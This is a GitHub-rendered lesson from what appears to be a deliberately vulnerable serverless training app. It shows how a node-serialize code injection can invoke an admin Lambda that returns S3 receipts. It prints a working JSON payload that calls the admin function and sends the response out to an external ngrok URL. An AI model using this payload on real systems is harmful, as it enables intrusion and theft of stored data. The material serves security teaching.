Skip to content

Latest commit

 

History

History
20 lines (12 loc) · 1.29 KB

LESSON_03.md

File metadata and controls

20 lines (12 loc) · 1.29 KB

LESSON #3: Sensitive Information Disclosure

An attacker can leverage the code injection vulnerability to invoke an admin functionality that will disclose all the receipts from the S3 bucket.

Sending the following payload will invoke an admin function that will pack all the receipts within the specified year and month and will created a signed url to download them.

{"action": "_$$ND_FUNC$$_function(){var aws=require(\"aws-sdk\");var lambda=new aws.Lambda();var p = {FunctionName: \"DVSA-ADMIN-GET-RECEIPT\", InvocationType: \"RequestResponse\", Payload: JSON.stringify({\"year\": \"2018\", \"month\": \"12\"})};lambda.invoke(p,function(e,d){ var h=require(\"http\");h.get(\"http://0c971764.ngrok.io/lol?data=\"+JSON.stringify(d));}); }()"}

As a result:

alt signed-url

Pasting the url in the browser will download the receipts from the S3 bucket:

alt receipts


ToC | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10